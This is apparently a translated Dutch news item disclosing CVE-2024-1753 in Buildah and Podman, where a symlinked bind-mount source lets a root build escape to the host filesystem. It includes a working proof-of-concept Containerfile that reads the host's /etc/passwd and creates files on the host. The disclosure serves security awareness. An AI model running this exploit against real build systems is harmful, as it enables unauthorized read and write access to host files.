Kwetsbaarheid in Buildah en Podman, die het mogelijk maakt om de containerisolatie te omzeilen.

In de pakketten Buildah en Podman is een kwetsbaarheid (CVE-2024-1753) ontdekt die volledige toegang tot het bestandsysteem van de hostomgeving mogelijk maakt tijdens de bouwfase van een container die met root-rechten wordt uitgevoerd. Op systemen met ingeschakeld SELinux is de toegang tot het host-FS beperkt tot alleen-lezen modus. Een oplossing is voorlopig beschikbaar in de vorm van een patch die zojuist is geaccepteerd in de codebasis van Buildah.

De kwetsbaarheid wordt veroorzaakt doordat bij het uitvoeren van het monteren van delen van het FS via het commando 'mount —bind' tijdens de bouw in de RUN-fase, de argumenten voor de bronmap (parameter 'source=') niet worden gecontroleerd op bestaan in het root-FS. Een door een aanvaller gemaakt configuratiebestand Containerfile kan een containerafbeelding gebruiken waarin de bronmap voor het monteren is opgenomen als een symbolische link naar het root-FS. In dat geval zal de mountoperatie ertoe leiden dat het root-FS van de hostomgeving in de container wordt gemonteerd, wat volledige toegang tot het bestandsysteem van de hostomgeving mogelijk maakt tijdens de RUN-fase met de commando's 'buildah build' of 'podman build'.

Voorbeeld van een kwaadaardig bestand Containerfile, waarvan de bouw met het commando 'podman build -f ~/Containerfile .' zal leiden tot het weergeven van de inhoud van /etc/passwd en het aanmaken van bestanden /BIND_BREAKEOUT en /etc/BIND_BREAKOUT2 in de hostomgeving: FROM alpine as base RUN ln -s / /rootdir RUN ln -s /etc /etc2 FROM alpine RUN echo 'ls container root' RUN ls -l / RUN echo 'With exploit show host root, not the container’s root, and create /BIND_BREAKOUT in / on the host' RUN —mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit RUN echo 'With exploit show host /etc/passwd, not the container’s, and create /BIND_BREAKOUT2 in /etc on the host' RUN —mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2

Bron: opennet.ru

Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers 🔥 Koop betrouwbare webhosting met bescherming tegen DDoS, VPS VDS servers | ProHoster